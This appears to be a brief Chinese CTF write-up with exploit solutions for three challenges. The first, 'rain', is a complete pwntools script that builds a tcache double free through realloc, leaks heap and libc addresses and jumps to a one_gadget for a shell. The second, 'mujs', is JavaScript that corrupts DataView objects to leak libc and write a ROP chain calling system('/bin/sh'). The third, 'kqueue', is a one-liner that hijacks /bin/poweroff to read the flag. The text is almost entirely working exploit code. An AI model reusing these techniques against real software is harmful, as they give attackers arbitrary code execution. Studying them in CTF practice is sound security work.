rain
利用程序中的 realloc 来构造 double free,这个版本允许 Tcache double free
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./rain"
#context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("ch> ", str(idx))
def config(screen_height, screen_width, font_color, back_color, rainfall, table):
choice(1)
buf = p32(screen_height) + p32(screen_width) + (p8(font_color) + p8(back_color)) + p32(rainfall)
buf = buf.ljust(18, '\x00')
buf += table
sh.sendafter("FRAME> ", buf)
def print_info():
choice(2)
def rain():
choice(3)
def pwn(sh, elf, libc):
context.log_level = "debug"
config(0, 0, 0, 0, 0, "a" * 0x40)
rain()
config(0, 0, 0, 0, 0, "a" * 0x68)
config(0, 0, 1, 1, 0, "")
config(0, 0, 1, 1, 0, "")
print_info()
sh.recvuntil('Table: ')
heap_offset = u64(sh.recvuntil('\n\n', drop=True).ljust(8, '\x00'))
log.success("heap_offset:\t" + hex(heap_offset))
config(0, 0, 1, 1, 0, p64(heap_offset + 0x8db0).ljust(0x68, 'a'))
rain()
config(0, 0, 1, 1, 0, 'a' * 0x68)
rain()
stdout_addr = 0x603020
print_addr = 0x400E17
node_buf = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(print_addr) + p64(stdout_addr) + p64(stdout_addr) + '\x00' * 8 + p64(0x31) + '\x00' * 0x18
config(0, 0, 1, 1, 0, node_buf)
print_info()
libc_base = get_address(sh, True, offset=-0x3ec760)
one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
node_buf2 = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(libc_base + one_gadget[2]) + p64(stdout_addr) + p64(stdout_addr)
#gdb.attach(sh, "b realloc")
config(0, 0, 1, 1, 0, node_buf2)
print_info()
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
mujs
似乎做复杂了
dv = new DataView(0x68);
dv2 = new DataView(0x68);
dv3 = new DataView(0x68);
dv4 = new DataView(0x68);
for (var i = 0; i < 8; i++)
dv.setUint8(i, 0x61);
dv3.setUint8(0x68, 0x81);
dv3.setUint8(0x69, 0x01);
for (var i = 0; i < 8; i++)
dv2.setUint8(i, 0x61);
delete(dv2);
delete(dv3);
//delete(dv4);
//delete(dv);
dv5 = new DataView(0x178);
dv5.setUint8(0x128, 0x51);
var t3 = dv5.getUint32(0x138) - 0x470a0
var t4 = dv5.getUint32(0x138 + 0x4)
dv5.setUint32(0x48, 0x71);
dv5.setUint32(0x50, 0x10);
dv5.setUint32(0x54, 0x1);
dv5.setUint32(0x58, t3 + 0x470a0);
dv5.setUint32(0x58 + 0x4, t4);
var t1 = dv5.getUint32(0x140) - 0x20960
var t2 = dv5.getUint32(0x140 + 0x4)
print(t1)
print(t2)
dv5.setUint32(0x68, t1 + 0x7780);
dv5.setUint32(0x68 + 0x4, t2);
dv5.setUint8(0x70, 0x68);
dv5.setUint32(0x78, t3 + 0x472a0);
dv5.setUint32(0x78 + 0x4, t4);
var t5 = dv4.getUint32(0) - 0x1ec6a0
var t6 = dv4.getUint32(0 + 4)
print(dv4.getLength())
print(t3)
print(t4)
print(t5)
print(t6)
dv5.setUint32(0x78, t5 + 0x1ef2e0);
dv5.setUint32(0x78 + 0x4, t6);
var t7 = dv4.getUint32(0) - 0x108
var t8 = dv4.getUint32(0 + 4)
dv5.setUint32(0x78, t7);
dv5.setUint32(0x78 + 0x4, t8);
var pop_rdi_addr = t5 + 0x26b72
var system_addr = t5 + 0x55410
var bin_sh_addr = t5 + 0x1b75aa
dv4.setUint32(0, pop_rdi_addr + 1)
dv4.setUint32(0 + 4, t6)
dv4.setUint32(8, pop_rdi_addr)
dv4.setUint32(8 + 4, t6)
dv4.setUint32(0x10, bin_sh_addr)
dv4.setUint32(0x10 + 4, t6)
dv4.setUint32(0x18, system_addr)
dv4.setUint32(0x18 + 4, t6)
//while (true);
kqueue
非预期
mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/poweroff && /BIN/chmod 777 /bin/poweroff
exit